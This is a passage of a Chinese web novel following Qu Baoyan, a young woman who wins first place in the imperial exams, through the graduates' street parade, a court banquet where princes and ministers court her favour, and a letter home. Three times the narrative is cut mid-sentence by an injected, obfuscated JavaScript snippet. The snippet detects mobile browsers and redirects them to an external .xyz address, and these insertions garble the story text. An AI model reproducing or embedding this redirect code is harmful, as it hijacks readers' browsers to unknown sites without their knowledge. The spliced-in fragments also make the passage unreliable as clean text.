“榜眼是他，我不服。” “你服他脸。” “……服你*。” 第三，宁庆。 几人异口同声：“这人不好惹。” 冯子阳嘀咕：“她看谁都像‘你会不会害国家’的样子，我见她都不敢说话。” 沈未舟：“你平时也不说话。” 冯子阳白眼：“我怕她读心术···你嘴再犯贱不许喝我煮的鸡汤——” 沈未舟：“好好好，我错了——” 第四，顾箴言。 沈未舟手指敲了敲榜名：“此人是水墨画，淡中见骨，看起来一副‘你赢我我也赞你’的模样。” 冯子阳：“你比他英俊。” 沈未舟嘿嘿：“我给你加一分。” “你们发现没？这十人写策像打仗，一上来不是问‘怎么写’，而是先问‘能不能赢’。” “而我们写策像在茶楼聊天，一页里能说‘不才’五次。” “你用‘草民’，我用‘拙见’，还想当状元呢？做梦。” “那也得梦得比别人香。” “说实话，我挺乐意做八十五的。” “咱这种人，做第一会丢朋友的。” “有道理。要是我做了第一，你们都不配跟我说话。” “去你*。” “**你*欠收拾了又——” 风吹过院，院中笑语阵阵，仿佛什么也不重要了—— 除了锅里的鸡汤别煮干了。 · 日正中，钟声方歇，殿前散朝，百官缓出。 御道东侧夹道两株槐，树荫半落，石廊清静。 张牧原刚从下阶缓步而出，衣襟拂风。方至一角，便见魏廷鉴早立在石栏边，负手望着前方宫墙。 “魏大人怎不随众人走西苑？” 魏廷鉴偏头一笑：“琼林未开，反觉吵闹。来这儿先歇歇。” 张牧原便笑着与他并肩而立，正欲言语，忽听脚步声自侧方传来。 “若论会躲清静，张兄你不及魏大人，魏大人也不及我。” 两人循声望去，见一青衣官人提着文书而来，步履稳当，神色温和，正是吏部郎中沈仲齐。 张牧原一笑：“你怎么也溜这儿来了？” 沈仲齐轻摇袖口：“礼部放榜，吏部就得预拟分职。我才从北司出来，一头文册，正缺杯茶喘口气呢。” 三人便寻石桌坐了歇会儿脚。 张牧原道：“你们怎么看今科？” 沈仲齐抬眸笑：“看名次自然简单。但难得的是，这一科的前三，尤其是状元——我觉得，拿得稳的。我们吏部那几个老家伙看了都赞不绝口，策论六题，她破三策、立三局，一题不弱，尤以那篇‘吏治以简得效’，见识沉稳，不似新进士，倒像从政十年之人。” 魏廷鉴道：“你也觉得这状元非她莫属？” 沈仲齐点头：“不但该中——我昨儿从中书转来份章程，案头就有她那篇‘衡道’的讲稿，批注清晰，许是天子御前传读过的。能被拿来做御前材料的策，近几年少见啊。” 张牧原点头：“她那策确实极好，理势贯通，文辞不浮，偏偏自有章法。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042149|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这份心性，实属难得。” 魏廷鉴拂袖却道：“文章归文章，琼林之后，才是真正的试炼。” 沈仲齐一笑，语带沉意：“你我都是过来人，知道的——登第那刻是喜，落职之后才知难。吏部已经着手拟官，今夜宴后，第一批拟职就会交给中书转呈。” 张牧原微顿：“那她呢？你们将拟她去何处？” 沈仲齐摇头：“未定。但无外乎三途：若入翰林，是养望；若出外任，是磨政；若入实部，如户、刑、兵，就是要她立在政务正中，直接试她能办事否——但你们也知道。” 他顿了顿，语气一沉：“策写得再妙，终归是纸上道理。一旦授职，她就不是学子了，而是官员，得批实事、断实务。她写‘吏治以简’，那就得看看她如何在繁务中行简政。” 闻言，魏廷鉴沉吟：“你是说——上面？” 沈仲齐目光一敛，缓缓点头：“三元并中，策论成名，诸部皆闻其名——这样的人，不止是榜上第一，更是陛下，朝廷未来要用的。” “若她能稳住初职，经得起调任、扛得住事，那她仕途不会短。甚至十年之内，便可入政枢。” 张牧原默然良久，微微颔首，只轻声道：“是个难得一见的人才，但也得看她——是否有把握得住的心性呐。” 御苑东侧，宫中专辟一处雅院，供三甲及第整装。 室内香气氤氲，红毡铺地，铜镜如水。宝桃儿正小心翼翼替瞿宝砚拢紧衣带。 瞿宝砚站在镜前，身着一袭朱红状元袍，绣纹隐现，云气缠肩。乌纱正冠之下，眉目清朗，腰间红绶一系，佩玉轻摇。右肩金缕凤纹闪耀，在光下栩栩如生。 铜镜里，她仪容端肃，身姿挺立，如松临风。 宝桃儿在旁看得呆了半晌，忽地搓了搓手，忍不住高兴笑道：“小姐，咱今儿个···可是状元大人。您瞧这乌纱帽多气派，还有这身状元袍，衬得您就跟神仙下凡似的，对了！报喜的信也已经在路上了，过段日子，家里老爷夫人他们也该收到这天大的好消息了——” 宝桃儿说着话未尽，鼻尖却酸了，眼眶一热，赶忙抬手掩住。 外头忽传一阵脚步声，一小吏候在院中，手里牵着一匹通体乌黑的高头骏马，见到瞿宝砚嘻笑着抱拳： “瞿大人，贺喜贺喜，今日春风得意马蹄急，天子亲点，金榜头名——小的在这给您道喜了。” 说着，他目光往屋内扫了两圈，嘴角笑意更深些，话音便绕了个弯： “这马是陛下御厩里挑出来的，蹄快身稳，一般人可骑不到。小的也是跟着沾光，来牵这等马儿……” 瞿宝砚眉梢轻动，未作声，只转身理了理衣襟。 宝桃儿早已会意，悄悄摸出一枚碎银，从袖中递至小吏手里，动静不露。 小吏手一接住，眼睛顿亮，立刻一拍马背： “我说怎么今儿个阳光都好看了！都是因大人中了金榜了！” 他麻利取来一层软绒坐垫，铺在鞍上，又殷勤道： “瞿大人请放心，这路线是从东华门出发，绕文华坊、走青街、过桃市，一路至翰林院东署，共计十三坊、十六巷，光旗面就有三百杆，风头响得很。” 他边说边帮忙拉好缰绳，语气愈发恭敬：“若是骑累了，沿路都有供茶水点心的站子——” 瞿宝砚这才点点头，温声道：“有劳了。” 小吏笑得合不拢嘴，连连作揖：“不敢不敢，能牵状元马，那是小人的福分。” 宝桃儿在一旁悄声：“这人估计能跟他亲戚吹一整年，说今春这马是他牵的。” 瞿宝砚唇角轻扬，不语。 春光之下，她衣袍如画，神色自若。 一个翻身上马，轻轻一抖缰绳，蹄声便响起在午后的宫道上。 18. 骑马游街2 酉时未至，东华门前已列起金缨绣旗、绛纱缎伞。十六面红角鼓并列，两列鼓手身披金甲，肩负铜锣，虎纹贴肩，好不壮观。 金榜高悬于坊门，三甲之名墨迹未干，阳光一照，光彩耀目。 钟声三响，礼官高声唱名： “新科状元——瞿宝砚；榜眼——韩璟；探花——宁庆！” 鼓声一震，万民齐呼： “贺——新——科——！” 东华门开，一骑先出。 乌缨马身如墨，背上之人朱袍乌帽，红绶正佩，腰垂金系。她背脊挺直，衣袍被风一卷，衣角如燕剪春云，目光不远不近，落在人群之外。 ——正是今科状元，江南道澄州，瞿宝砚。 瞿宝砚一手执缰，一手垂于马侧，骑得稳稳当当，面不改色。春风拂过她的鬓边，路人都仿佛被这股风裹住，目光随着马上的人动也不动。 百姓第一眼未敢出声，待第二骑马出，是蓝袍玉带、扇子半掩面庞之人。 “韩璟！”宫门前人群中少女先尖叫出了声。 韩璟扇子轻点马鬃，冲那一片方向略抬眼，轻轻一笑。那一笑，楼上楼下，街东街西，皆是一片叫好之声。 再后一骑，是宁庆。 宗室女郎，骑青鬃马，身着墨袍金带，眉目沉静，骑姿极正。她不回头、不多言，像一枝笔直插在礼册上的寒梅，冷而不孤。 三骑齐出，鼓声与锣声如海浪翻涌，街头巷尾人如潮涌。 一位贩花老妪手中握着几枝杏花，怔怔望着那青马上的女子，忽而挤过人群，奋力一伸，把那枝杏花递过去： “状元郎，好命！点你个花头彩——” 瞿宝砚微顿，便弯身接过，执花在手，向前微笑着一拱手。 鼓声止，街上欢呼再起。 礼仪马队自东华门启程，途经文华坊、永顺巷、马市街、柳青街、南栾里、过三王祠，一路十六巷，沿途百姓夹道相迎，万旗迎风，花雨随马。 商家早早在门前挂出“金榜题名”“三甲上门”字样，茶铺备好“状元春茶”，小贩高声吆喝“状元饼”“探花香袋喽”，孩童手举小纸伞，伞面也写着“愿我明年上榜”。 楼上姑娘早预备了香囊、花瓣、小诗一卷，见马队经过，便撒下楼去，花雨如织，锦带飞空。 韩璟笑道：“我若真收了这些，得让翰林院先给我开一间香房。” 宁庆瞥了眼韩璟，不言，只侧头避开一线香雾。 街口茶楼之上，几位扎着双鬟的小姑娘倚栏而笑，手中拈着花囊，眼里带着七分期待三分狡黠。 其中一个笑声清脆，指着队伍前方： “你们可瞧好了，长得最俊的一般都是探花，一会儿可往那探花郎身上扔——” 话音未落，三骑已过东街拐角，先是一骑朱袍红绶，姿容清正，那人玉面乌纱，眉目如画，是位女郎。 楼上顿时一片“呀——”的惊呼。 那为首的小姑娘手中花囊一顿，整个人呆了呆： “怎……怎是状元？” 另一人惊叹：“这是今科状元？怎的像神仙下凡似的……” 再一人补一句：“我觉得比探花俊得多！” 几人又笑作一团，赶忙扯了旁边香囊往楼下撒去，笑着喊： “状元姐姐收好——来年让我也中个花名！” 楼下街上百姓哄然，香囊如雨落下，马前香风阵阵，瞿宝砚抬眼颔首，收了那枝花，握在掌心，仰头一笑，又惹得阵阵尖叫。 文华坊第二楼，福昌酒楼东厢临街，一窗春色正好。 窗前两人倚栏而立，一人着蓝袍，笑意盈盈望着窗外热闹；另一人着深绿锦袍，衣上绣着大朵艳丽海棠花样，眉眼懒散。 季凌也闲来京城走一遭，寻几个旧识，没曾想赶上了今春放榜，三甲游街的热闹场面。 朋友凑近窗外看了几眼，啧了一声，转头笑着指：“瞧好了——那头匹马上朱袍红绶的，便是今科状元。” 季凌也闻言，漫不经心地往下瞥去一眼。 只见乌鬃马行在中列，身着红袍的人身姿挺拔，眉目沉静，面色极清，目不斜视地缓缓前行。 春风拂面，花雨自两侧楼阁飞洒，她却眼不乱、神不动，只时而对两边的人微微笑着。 这一眼落下，季凌也的眼神却微微一动。 他望着那女子的侧脸，开口：“这人我见过。” 朋友笑出声来：“你见过状元？人家是澄州人，跟你那地八杆子打不着，你才来的京城，她今早才贴榜出名，你怕不是在梦里见过？” 季凌也却未答，近身窗前目光缓缓落下，本只是随意一瞥，却在那一刻缓缓凝住，像被什么轻轻牵了一线。 上次小镇打马而过他只是匆匆瞥了一眼，这回倒有机会细细打量。 那人骑在乌鬃高马之上，鲜艳的大红状元袍自肩披落，衣纹平整，红绶斜系，金系缀玉，随马步微晃，却不杂乱。 头顶乌纱正冠将发髻束起，眉目清朗，不施脂粉，却胜过雕饰。眉如远山清黛，目若止水藏光。不语不笑时，唇角不挑，神情不浮，似雪中苍松，风中白玉。 那背脊如刃，骑姿端肃，手执缰绳如执一卷策纸，身随马动，整个人恍若一笔正字，从金榜中走来，从庙堂上行出，在这春街花雨中，一步一程，皆如文章铺陈，自有章法。 初见惊异，再看便沉默，不由道：状元原来是这般气象。 街上喧哗如潮，她却如烟水之岸，自持其清，不争声色，不借风雷，却叫人一眼记住，久久不能移目。 朋友不觉，正看着姑娘们一边喊叫一边抛花，忽然笑道：“瞧，今儿个探花算是白来，花都砸状元头上了。” 季凌也盯着她，忽而笑了声，指着楼下小贩摊边： “买花。” 朋友一愣：“你也抛？” 季凌也随手掏出一锭碎银递下：“只要一枝，要最好的那一枝。” 朋友没法子，叫人忙不迭地下楼买了一枝初绽桃花，包了金绒，带香带露的。 和季凌也本人一样骚包又好显眼。 朋友打趣：“就你这一小枝，丢不中马也砸不着人。”又促狭笑道，“可别砸到榜眼身上去了——” 季凌也懒懒一笑： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042150|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那就瞧着。” 他说着，将桃花横在指尖，腕转花起，一掷如风。 那枝桃花破风而下，穿过漫天香囊与花片之间，竟恰恰落在瞿宝砚的乌巾帽边，斜斜插入金绶一线，既不偏斜，也不突兀，像本就在那儿。 瞿宝砚未曾察觉，只当又是一枚香花随风落下。 但她马后两侧的韩璟与宁庆却都看见了。 两人几乎同时抬头望向楼上，视线准确地落在了酒楼窗前—— 只见那里，季凌也倚窗而立，身形修长，衣襟微动，一身红配绿十分抢眼。他一手负在身后，一手轻托酒盏，眼神却始终落在那最前头的瞿宝砚身上。 他立在那，自有一股漫不经心的潇洒。风吹起他鬓边发丝，映着春光，像是画里走出的闲人。 韩璟眯了眯眼，宁庆挑了挑眉。 韩璟看向宁庆：“那人是谁？” 宁庆扭回头，目视前方：“不知道。” 花雨下，游街未止。人声鼎沸中，谁也不知，那一枝花，竟落得如此正好。 朋友瞪大眼睛趴在窗前：“真给你得手了？！” 季凌也笑而不语，只目送被人群簇拥走远的那抹朱红背影。 游街方歇，暮色初起。 松鹤院墙外仍有余声未散，偶尔几声孩童喊“瞿状元”从坊头传来，被风一吹，又远了。 屋内，宝桃儿正在替瞿宝砚解下冠带，突然凑近她额侧：“咦——小姐你，帽檐上……竟还别着一朵桃花！” 那花不知何时落上去的，色泽正艳，花枝轻巧，恰好卡在乌纱金缨与绶带交接处，不偏不倚。 宝桃儿眼睛一亮，啧了一声：“谁这么手巧？不歪不斜，正正好好别在这儿……倒衬得小姐好看极了！” 瞿宝砚闻言伸手一摸，将那枝桃花从乌纱上取下。 花柄被金缨压出一道弯，花瓣却还鲜润，带着一丝街头香气。 她垂眸看了眼，抬手作势要往一边丢去。 宝桃儿在一旁看见，忙扬声唤道：“哎哎哎，小姐别扔呀！这花衬您衬得好——而且……这是今儿个游街时落下的，咱们状元头一回骑马出巡，金榜封名，可不兴随手丢的。” 瞿宝砚：“还有这讲究？” 宝桃儿又笑：“就算没什么讲究，也好看呐，扔了怪可惜的，不如做个签子，夹在书里，作个纪念。” “也好。”瞿宝砚闻言微微点头，又看了眼那花，随手夹进了一页书册里。 宝桃儿手脚忙不停，嘴里念叨着：“小姐快换衣裳罢，今夜琼林宴，礼部早派人来催了三次，说什么‘状元须早入’……陛下怕是头一眼就要看您。” 她一边打开衣箱，一边取出崭新青底绣百花的大礼袍，又道：“这身是礼部的大人亲送来的，说是给状元郎定作的。今夜穿这个，可得叫全京看一回状元的风头！” 瞿宝砚笑了笑，起身换袍。 宝桃儿一边给她理袖束带，一边低声说：“小姐今儿骑马游街已经够乏的了，晚上琼林宴上能歇就歇会儿，别太累着了。” 瞿宝砚张开双臂任由宝桃儿摆弄，闭了闭眼，点头：“无妨。” 19. 琼林夜宴 申时末，华灯初上，琼林苑前车马云集。 此地本是皇苑东园，宴会设于“绛云殿”之中，宫门之外，早排起一列列仪仗。 苑中金灯高挂，花木扶疏。海棠如绣，玉兰如雪，香气清浅。水榭边丝竹声起，新科进士与朝中宾客陆续入席，笑语盈盈，文气风流。 忽听内侍高声通传： “大皇子殿下、二皇子殿下至——” 众人闻声而起。只见两道身影踏光而来，一紫一白，俱是锦袍玉带，器宇轩昂。 赵珣在前，神色温和，步履从容。他面带笑意，宽袖拂风，仿若文士入宴，气质儒雅宽仁。 赵琛紧随其后，眼神锋锐沉静，银蟒纹间闪耀冷光，唇边却挂着不动声色的浅笑。 两人一前一后，行至殿中，赵珣方才止步，对众人朗声道： “今日金榜新定，琼林初启，文华满殿，喜气盈庭。朝堂得俊才，社稷添柱石，实乃盛事。” 语落，他的目光落在人群中一身青袍的瞿宝砚，微微颔首笑道：“早闻今科状元，三试魁首，策堂传名。今日一见，果是名不虚传。” 瞿宝砚闻声垂首，拱手行礼：“殿下过誉了。” 赵珣含笑：“诶，是状元郎过谦了。本宫素不轻言赞誉。天子阅卷三次仍言‘此策可立于世’，连我等都闻讯于外。如此声势，自是不同寻常。况瞿状元所论，非徒为取功名，实有家国之志，民生之忧。如此心志，令本宫敬之。” 二皇子赵琛接声，语调松缓，似笑非笑：“皇兄所言极是。天下考子三万，状元只一。能以文章夺魁，自是胆识心术皆备。” 他目光微凝，落在瞿宝砚身上：“只是京中风大，非惟笔锋见高低，望瞿状元将来堂上所言，仍似今日笔下所陈。” 这句话飘来像风中藏锋。 瞿宝砚神色如常，不卑不亢：“臣笔下之言，皆心中所信。朝堂若问，自不惧答。” 赵珣缓缓点头，看向瞿宝砚道目光似赞似叹：“好一个‘自不惧答’。” 赵琛挑眉，笑道：“那本皇子亦拭目以待。” 这一刻，众臣中不乏目光交错。 朝中无人不知，赵珣一向“礼贤下士”，赵琛却极少在新进面前言辞如此直白。 ——恐怕这二位都是想要拉拢眼前这位。 今春新科状元，抢手啊。 远处帘下，三皇女赵珩坐在香树小屏下，面貌雍容，衣饰华贵，一身月白织金宽袖衫，手中执一枝细玉小匙，轻点着盏边茶碗。 她眼神静如秋水，默默注视着厅中喧哗，不发一言，却将所有风波尽收眼底。 她身侧坐着的是四皇女赵珏，今日一身烟紫织金短襦，眉眼生动，唇角挂着活泼笑意。她略偏着头，眼睛晶亮亮的盯着堂中那抹青衣乌冠的身影，兴致十足道： “瞧瞧这新科状元，长得可真俊！” “不过这才刚落榜名，大哥二哥就一前一后凑上去了，生怕晚一步似的……宫里那么多事，也不见他们上点心。” 说着，她忽而微歪了下头，又咂舌一笑：“只是，这位状元郎，出身澄州，地小僻远，这等场面怕是头一遭——今日这厅里，可是满殿风云，权贵如林。只怕一只可怜兔子，撞进了狼窝喽。” 这话说得轻巧，带着几分宫中惯看风云的眼高。 一旁着探花绯衣，坐姿端正的宁庆将这话听在了耳里。她性子一向寡言，不喜闲谈，此刻却淡淡接了一句：“四殿下怕是低估人了。” 赵珏一怔，眨眼看她：“哦？” 宁庆却只是慢条斯理地抬手抿了口茶，也不作解释。 赵珏轻轻“啧”了一声，知道宁庆这吊死人不偿命的性子，话从不轻易出口，既如此评价，她也不再说什么，只撩起茶盏小啜一口。 帘下茶烟浮动，赵珩却像是全然未被她们的话所扰，只静静地望着殿中那位状元，眉眼未动，唇边却缓缓浮出一抹若有似无的笑。 琼林宴已过前半，殿中列鼎并陈，酒香茶暖，宾客散座交谈，场中笑语不断。 瞿宝砚斟过一盏青酿，方才同几位同窗寒暄几句，正要转身，便听身后一道沉厚嗓音传来： “瞿状元。” 瞿宝砚转身，当即正身行礼：“丞相大人。” 韩渊之一袭深玄正绣朝服，袍色沉凝如墨，两鬓已染了斑白。人未近，一身威势却先来。 韩渊之颔首，抬手示意不必多礼，又道：“三元连中，自承乾立朝以来，尚属首见。” 瞿宝砚拱手：“晚生不敢妄自尊大。承蒙天恩，亦赖师长教诲，” 韩渊之淡然一笑，微微点头：“知感恩，识自省，观此言，便知心性端方了。” 又似闲聊家常随意问起：“这番赴京赶考，离家几时了？” 瞿宝砚答：“去年秋末赴京，至今已有半年。” 韩渊之语调转缓，带着几分不动声色的关怀：“半年却也不算长。但凡人在外，心却时常牵挂家中。尤其家中若有老小，思之便更切。近日家中可有过来信，一切可都安好？” “多谢丞相大人关念，上月得家书一封。”瞿宝砚拱手道，“言及诸事安稳，长辈康健，弟妹亦在读书。” 韩渊之闻言，眉眼微动，笑赞：“有你这般长子作表率，家中小辈将来未必不能再出一位进士。澄州虽远，前路却未尝不阔啊——” 他顿了顿，语意似有所点：“这金榜一放，吏部文书也快下了。若将来要在京中任事，家中人也可早些接来。京城虽广，气象虽盛，但终究不及乡里那般热气团团。人在他乡，若无根，终归是飘着的。” 瞿宝砚垂眸：“大人所言极是。宝砚铭记。” 韩渊之笑意不显，却语气更和了几分：“才气有余，孝道亦足。如此之人，方可用之长久。” 他抬手抚了抚衣袖：“说起来，你今年几岁了？” “十九。” “十九。”韩渊之语气一顿，感慨叹道：“十九，正是年少。可在父母眼中，十九也不小了。” “子欲立，先得身安。父母养儿一场，最盼的，不过‘立业’与‘成家’二事。而往往最放心不下的，偏偏是这‘成家’二字。” 瞿宝砚心知来意，却并不避锋，神色沉稳，也似有感而发：“可怜天下父母心。丞相所言，晚辈铭感。” 韩渊之含笑点头，语气缓缓：“家中可为你订有婚约？” 瞿宝砚微顿，半晌答道：“未有。” 韩渊之笑了笑：“我那犬子也是。他身边同辈的都早订有婚约，偏他不从。打小便不太守规矩，章法未必合眼，倒也自有一套理路。你若见他，未必觉得他是个能成事的。但我做了这几十年官，人也看得多了——有些人，是外松内紧。说他懒，他心里却什么都明白。” 他说着，语气渐缓，目光也落得更远些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042151|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，叹道：“你们这年纪，都一腔孤勇，眼里看得见风月山河，却不见风波关隘。可这条路，走得越久，越晓得：才华并不稀罕，能走长远的，从不是光靠文章，也不是靠一个人的本事。” “若路上有个伴，知冷知热，互为倚靠；背后又有家，有根基有底气，那才是行远的本钱。” 他说到此处，语声微落，仿佛只是感慨旧事。 此时坐在稍远些廊榭之下的韩璟，手中正转着一盏玉杯，似乎是感应到什么，手指一顿，抬眼望来。 隔着流光灯影，他定定望向锦袍缨冠的瞿宝砚——眼底似乎有微光隐隐流转。 瞿宝砚亦抬眼与他隔空相对，眼神沉定，不惊也不避。 气氛一瞬微凝。 那边廊下却忽传来一阵轻响，打破片刻寂静。 只见一人手执玉盏，笑语未至，酒气却先飘了半丈来： “哎，我说丞相大人，你这说亲可不能这么干啊。” 来人步履稳中带松，面色微红，眼中却透着几分清醒的笑意。 户部尚书吴致安。 他年近六旬，常年坐镇户部银粮税赋之事，素以笑面老狐狸著称。酒量惊人，逢宴必到，官员见他喝酒如饮水，皆是如避灾星，生怕被他一句“来，喝一个”灌得连回家的路都找不着。 他边走近边笑道：“你家那韩璟，可是今科榜眼，如今又来做媒，状元也要请回家去，可不带这么贪心啊——总得给人留一个不是？” 韩渊之不喜饮酒，见酒气逼近，微一侧身，淡淡开口：“吴大人若能把户部的酒账理得清清楚楚，也不必来掺和吏部的人事账了。如今连搭桥牵线的红事都要管上一管，怕不是把月老也喝倒了。” “春夜喜宴，陛下有旨，尽情尽乐——不醉不归。”吴致安哈哈大笑，站定也不再逼近，一举盏，朝瞿宝砚：“状元郎，老夫先敬你一杯。日后若入朝堂，咱们打交道的时候还多着呢。” 他说着又补了一句，语气轻巧，话却落得实在：“我那小儿吴渊，今科也是榜上有名，便调入鸿胪寺，虽是个闲差，性子倒也爽朗。你们同年，倒是可以多走动走动——同年之间，多结善缘，总是好事。” 说罢，他竟不由分说地将玉杯往瞿宝砚手中一递。 “来来来，先喝了这一杯——” “吴大人还真是胆子大，连陛下钦定的状元都敢灌酒。”这声语调不高，却自带三分分量。 说话的是吏部尚书苏瑛。 她年四十有七，掌吏部五载，素有“绛衣中正”之称。其人温言少怒、调度有方，既得皇上倚重，又与百官周旋有度，是朝中少有的“温手腕，硬分寸”。 她走至几步之外，朝韩渊之与吴致安略一拱手，语气依旧温和：“吏部不知何时管起男女婚配之事，本官还真是闻所未闻。若真有这等差事，还得先问问天上月老允不允许咱们越了界。” 众人闻言，纷纷轻笑。 苏瑛不等回应，又将语锋一转，神色如常：“状元新登金榜，礼部尚有一二旧案需略作商议。适才礼部尚书托我走这一趟，愿请暂借状元移步一叙，还望丞相与吴大人海涵。” 韩渊之轻轻颔首：“苏大人既有安排，便请去罢。” 吴致安笑着摆摆手，爽朗道：“这状元郎欠我一杯，改日我可得亲自登门讨了。” 瞿宝砚拱手，语气沉稳：“吴大人美意，改日必当奉陪。” 20. 琼林夜宴2 两道身影行至廊下，琼林灯火在朱瓦间轻轻摇曳，宫墙上树影摇动，檐下风过，带起些许酒香与花气。 苏瑛走在前侧半步，脚步不快，语声清朗道：“不必紧张，今日这般场合，方才那几位，都是惯会说笑的。所说之话，也不必尽数当真。” 瞿宝砚跟在后侧，闻言微一拱手：“多谢苏大人解围。宝砚初登宝殿，尚有诸多不谙，承蒙大人指点。” 苏瑛偏头看她一眼，神色淡淡：“指点不敢当。你在席上的样子，也算进退得当，不失分寸。”她轻笑，“倒不像是个‘诸多不谙’的。” 瞿宝砚语气温平：“晚辈寒窗出身，历练尚浅，若有不妥之处，还请大人不吝明言。” 见瞿宝砚一本正经的模样，苏瑛轻轻一笑：“不妥倒没有，只是……你刚才那一拱手，敬得是吴大人，回的却是韩丞相。” “难能你心里有本账，记得清楚。” 瞿宝砚闻言，目光微动，旋即坦然应道：“心里若无账，难免给人记账。” 苏瑛微微颔首，忽而又开口：“你是澄州出身？” 瞿宝砚：“是。” 苏瑛点头：“家母祖籍也是澄州，澄州一带，民风朴实，读书人多有气节。你身上倒也有几分那股子倔气。” 她转眸看她，神情温和，却带着一抹意味：“只是那股子气节，若不懂得收与放，容易变成桀骜。” 瞿宝砚垂眸，拱手：“谨记大人教诲。” 苏瑛略一点头，语气缓缓：“你是状元，殿试之后便是点旨下官，礼部会送上初调名册，几日后吏部也要给出调令。我身为吏部尚书，照规矩不该私言，但今夜宴后，怕是有人会先一步‘拜访’你。” “你的策论我看过。策论虽为一纸文章，但字里行间，总藏着人心气。你笔下有骨，也有分寸。” “朝堂的水，静时如镜，动时如潮。你才入水，要学会先看风，后落脚。水里伸来的手，不都是救人的。” 说完这句，她不再多言，转身离去，只留一句话： “风未定时，莫轻握来手。” 这番话息如烟，即刻散入风中。 瞿宝砚立在廊下，背后是渐远的脚步声，前方是灯火微晃的空阶。 没有了殿前的酒器喧嚣，也没了一众人举杯时的掌声、恭维与暗语。 此时此刻，四周寂静无比。 风吹过廊角，吹动石栏上几片落花，簌簌而下，落在她足边。 她却没有动。 方才脑中还浮动不休的言辞、神色、目光，仿佛在这一刻被什么轻轻理顺了。 朝堂不是“谁抛绣球、谁接得住”的舞台，而是水里有势、风中有向的地方。 苏瑛刚才不过寥寥数语，却像是将这水的形状、风的脉络，指给了她看。 瞿宝砚低头，手中仍握着吴致安方才递来的玉盏，未曾饮尽。 她抬手看了看盏中残酒，片刻后，轻轻一倾——随风倒入了廊下落花之间。 · 琼林宴散后，夜色沉沉。宫灯自朱阙散落如雨，曲水流觞，终归寂寥。 瞿宝砚回了云台小院，宝桃儿便迎了上来。 “小姐，您回来啦。”宝桃儿笑脸上前，自家小姐身上衣袍仍带着宫中灯香，她正要开口问今夜琼林宴上是何模样，却见宝砚眉眼间多了一丝说不出的疲色，原本高扬的声调瞬间压低下来。 宝桃儿轻手接过外袍，见那进屋比往日滞了几分的步子，心头一紧。 她从小跟随在侧，再知道不过：自家小姐纵然日日读书伏案，也从不显疲态，心志如雪、眼神如炬。 但今夜不同——那种倦，不止是身倦。 她什么都没多问，只忙不迭打来热水，拧了帕子给瞿宝砚敷着，又悄声问道：“小姐，这水烫吗？要我再打些凉水来？” 瞿宝砚摇摇头，坐在塌上轻按额角：“不必，这样正好。” 宝桃儿动作更加轻了些，替她净面解发、更衣歇息，一切都比平日更安静一分。 等灯芯挑好，火炉添了两块炭，屋里暖气渐腾，宝桃儿才小声问：“小姐，要歇下了吗？” 瞿宝砚静了片刻，道：“帮我研上墨，我给家里再写封信。” 瞿宝砚披着外袍，从塌上起身又在案前坐了下来。 窗外有风吹过竹影，墙角炉火正温。 她展平纸页，提笔蘸墨，落款题头： 【家中亲启】。 略一思索，笔下便缓缓写道： “家严、家慈、太爷安： 女儿宝砚，拜上。 京城春寒料峭，琼林宴方散。今夜灯火繁盛，衣香鬓影，一如旧时文人笔下繁华。宫中设宴，群贤毕至，名列榜中者咸集一堂，百官亲临，言笑周旋，诸多贵人出言相问。 而女儿立于席间，虽为状元，心中却时时思及家中。 忆及昔日檐下梅香，寒窗苦读，得父亲时时指点，母亲日日照料；太爷曾言道“此砚他日必登金榜”——今之所获，实不敢忘根本。 昨日入朝觐圣，承恩首点，圣上亲阅卷末，言策论深远有识。诸座师亦有所赞誉。只是官途初始，万事未定，女儿知前路难行，更需谨慎。 家中诸事如何？弟妹功课可勤？春衣添否？愿父母安康，太爷勿劳心，姑母安和，待女儿任命稍定，必具折归家探望，略尽孝敬。 此函草草，不足一二，权作报平安之用。家中若得此信，烦请回书一封，女儿心念常存。 此致敬颂 康安 宝砚拜笔” 她写完后，将信纸对折封入信封，又加一小函，用的是日常的家常字眼，写给弟弟妹妹，说： “灯节时你们可去放灯，别只顾贪吃，春寒记得添衣，照拂好自己。大姐在京，一切尚好。等春草长些时候，便能见面了。” 写罢，她将信封叠好，放入行囊。 又靠在椅上轻轻阖上了眼，唇边像是有一点笑意。 “歇息吧。” · 京中春宴方散，风华犹沸，而千里之外，澄州也已入春。 江南春信早至，澄州初春时节，满城杨柳新绿，溪畔迎春探枝。小巷深处，晨雾尚未褪尽，墨瓦青砖间浮起一层薄光，微风一过，院中碧树轻轻颤着花影。 瞿府静谧如常。 厅前的竹廊下，老太爷斜倚藤椅闭目养神，膝上覆着一条软毯。身边炭盆尚暖，院中春雀啁啾。 